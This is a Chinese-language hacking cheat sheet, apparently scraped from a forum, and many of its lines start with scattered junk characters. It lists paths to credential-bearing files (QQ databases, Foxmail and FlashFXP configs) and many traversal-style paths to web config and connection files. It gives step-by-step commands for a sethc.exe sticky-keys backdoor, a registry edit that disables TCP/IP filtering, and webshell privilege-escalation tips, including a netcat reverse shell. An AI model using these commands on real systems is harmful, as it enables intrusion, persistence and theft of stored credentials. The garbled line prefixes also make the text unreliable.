0 p# L/ V$ P8 z, F0 s# M( N, E% \c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
6 G: j7 g4 o# Z* G, G) q4 Jc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
9 B5 Y# ^$ I, Z' oc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
2 v; m8 f: M7 d0 [  ^/ Sc:\Apache2\php\license.txt
4 o, [6 O, J$ j0 r4 O' w8 g! t' yC:\Program Files\Apache Group\Apache2\bin\Apache.exe
5 a; m& c; w2 n( i/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
: f$ J1 @8 [% R+ v8 a: M/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
2 C3 z; l9 w2 _* X& [c:\Program Files\Tencent\qq\User.db
" K  {, O, q4 V7 S$ g9 jc:\Program Files\Tencent\qq\qq.exe
; z9 L# z% B9 J# @" `c:\Program Files\Tencent\qq\bin\qq.exe
0 ~2 T" G7 u1 Q, l' Uc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
2 t$ S' [9 T; T/ h# F2 Y7 [c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
' c- D" e$ W! x" \2 W5 s; y, S) Zc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
" {7 h, _  Q; [7 x7 oC:\Program Files\Foxmal\Foxmail.exe
/ a7 D9 a3 n7 H. D+ oC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
5 n) L: h* b) o; j0 V6 hC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
' X# v+ @$ N3 MC:\Program Files\LeapFTP\LeapFTP.exe
0 j; r+ I5 i, mc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
  y4 ]4 m4 b. _0 u) Y, j& |) ?0 O/ s0 dC:\Program Files\FlashFXP\FlashFXP.ini
; U/ K# a' r2 Y3 qC:\Program Files\FlashFXP\flashfxp.exe
6 {3 G2 Q2 G* s* ec:\Program Files\Oracle\bin\regsvr32.exe
- ^2 g! s5 ^( r2 |/ ~. N( Z: {" xc:\Program Files\腾讯游戏\QQGAME\readme.txt
, B9 ]: w% N/ u+ \, D$ l; J% ^c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
$ `' u0 \/ ?4 H- z- M/ n9 k2 o: v
3.网站相对路径:
, y, S% \; y3 C4 w5 v
/config.php
../../config.php
, \. i1 S' j- Z& A' ~8 ?../config.php
../../../config.php
! N' \; l# c+ T5 h/config.inc.php
./config.inc.php
../../config.inc.php
& G2 j: I) M6 Q0 k3 @../config.inc.php
../../../config.inc.php
- s6 Y; x& {  V# G/ W. V/conn.php
. ?# W: z, n! A/ ]% M* s./conn.php
# }: B$ E  N2 P) m1 [+ p../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
0 D( W: z7 a" U& |' ~) n, K../../conn.asp
. T* K1 [, s# b; b" g& f../conn.asp
../../../conn.asp
: l: ]$ M. A  [0 z' i/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
: [0 ]! Z& Z; W5 ^../../../config.inc.php
) o. n% n4 @9 Y/config/config.php
! b% M9 O" N7 [8 d/ B../../config/config.php
../config/config.php
../../../config/config.php
" j) X* y: ]! [7 b6 _  g% V/config/config.inc.php
./config/config.inc.php
- X7 M$ A  G7 c1 ~3 a6 j& f../../config/config.inc.php
4 P. ~' \7 `3 d  \../config/config.inc.php
) o- V0 @/ k' t9 ?4 D: ?../../../config/config.inc.php
/config/conn.php
./config/conn.php
../../config/conn.php
../config/conn.php
+ _4 e; [4 N1 O, Z../../../config/conn.php
/config/conn.asp
* G  i7 n* \0 s* J./config/conn.asp
) X$ ]2 G8 ]/ i% k0 D../../config/conn.asp
) g* L7 ]" S  e/ ?../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
- B- b- }- P+ q  X- n./config/config.inc.php
6 R) E+ t% I' `4 p: H../../config/config.inc.php
/ n7 d) {1 J8 V, i; Y; i../config/config.inc.php
../../../config/config.inc.php
+ s0 V3 r+ ]- Y; a6 v$ T. u0 J1 b/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
+ ]# _. g0 p% t& g+ I8 \7 @/data/config.inc.php
4 ]% M; U0 \9 R; X7 R6 q+ V7 ?% M./data/config.inc.php
../../data/config.inc.php
3 [- w( l6 ?# z4 N8 Z4 l9 J../data/config.inc.php
../../../data/config.inc.php
7 ~( D' U/ N. m* O. a/data/conn.php
# B/ b" t1 _" M# c./data/conn.php
../../data/conn.php
../data/conn.php
) V. r' N' x4 f; o) S  I: k( y../../../data/conn.php
8 c( A3 {0 V# f  {/data/conn.asp
% |- r- {: i+ k+ D; P; J./data/conn.asp
4 t# k; G8 n6 m2 g: `- Z9 R; ^% F../../data/conn.asp
../data/conn.asp
5 T6 A6 x& k$ [/ }../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
7 n7 B) L, U, L3 ?../../data/config.inc.php
, c8 N) f/ ]# }../data/config.inc.php
2 A4 ^5 S4 l9 s4 C4 f# b% X1 ]../../../data/config.inc.php
/include/config.php
../../include/config.php
8 j/ c  [! V! k4 W% W../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
4 p) d- t* f! q../include/config.inc.php
1 a# F8 Z/ [: n& p; [../../../include/config.inc.php
) ]/ q# @0 U: Z/ \. q6 l/include/conn.php
./include/conn.php
' s, g- `, F2 J9 k* m& b../../include/conn.php
& g! y* M) V, ?' ^- u; C../include/conn.php
../../../include/conn.php
, z1 Y" D3 Z+ o/include/conn.asp
* R# u; i4 N- y, C./include/conn.asp
* d% O7 @# ^( t. l2 O4 |../../include/conn.asp
% K4 B. }7 [9 ^2 F4 Y! V../include/conn.asp
- H3 T8 O/ ~& _# @) [3 s../../../include/conn.asp
6 q1 j! C" f1 m0 R9 r/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
* k; Q3 v. x* T# E' Y../../../include/config.inc.php
/inc/config.php
../../inc/config.php
) r" T3 m  A3 Q' |4 d../inc/config.php
../../../inc/config.php
/ R9 D2 W, G: |8 p3 u/inc/config.inc.php
5 C! }/ o, W3 `" V: `2 |./inc/config.inc.php
$ K8 \- {' E7 q' s7 a* e../../inc/config.inc.php
# w& L; ^9 c+ R6 i5 H../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
9 V; O$ Y+ q& \  B( N: k7 g. P8 Z7 E../../inc/conn.php
  _# P) o9 j7 I  s  S  F# i../inc/conn.php
../../../inc/conn.php
; f6 @! y, d! M/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
6 j3 @, `+ J7 N# _& L/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
! K: q2 o6 h& ~8 m5 y1 ]/index.php
7 Z7 O3 o5 V, ^% O' M+ [. Y' q./index.php
../../index.php
../index.php
../../../index.php
/index.asp
) F7 A, F2 ]: Y5 S9 \./index.asp
../../index.asp
../index.asp
8 J" z: R' Y, e6 z! _/ X& a1 _../../../index.asp
: R; I% ~& X- t1 a& q- D替换SHIFT后门
' ?/ r: ]: ^' Y* Z+ u0 u/ W* \　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
2 ~8 @$ X) e8 p  _! w
, C; R' T9 v: p( o　　del c:\windows\system32\sethc.exe
; {, S9 t& s1 J; D; V0 Q
6 h% N& A5 Z0 ]8 A5 r　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

6 G5 i" Y; h7 q( i: r/ b　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
8 P+ w( i8 U! F
　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
) r! Q% R3 J  L去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
6 S! R  u1 s8 e; l& l5 d) X/ r3 ^HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
$ G) R, |  G% ~3 e% v$ T5 kHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
9 c. |5 |8 a, u& P. mHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

! u% N2 P0 K. o3 a1 I. Z0 F& L分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
3 M) F- G7 K4 U; |# w6 r6 v3 K$ B5 Hregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
. b1 |" E0 g$ x! z0 q命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
9 s' Q" G7 \# {* C
再将以上三个文件分别用
6 q/ f7 W1 |4 N4 b' a5 B1 kregedit -s D:\a.reg
7 B. X  [" `4 a; x) A: @7 z' u! `; Zregedit -s D:\b.reg
9 S$ W5 t+ w" j( cregedit -s D:\c.reg
0 Q( N* y0 w" H$ S+ m9 L+ C8 `7 p% F导入注册表即可
% J; |( i- n+ G2 I
8 `2 Y  k/ ?% z1 y, t3 W" P1 {webshell提权小技巧
% n- O% ^1 g/ @) n6 t4 U3 \cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
' x" Y. l1 `, `  {. I我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功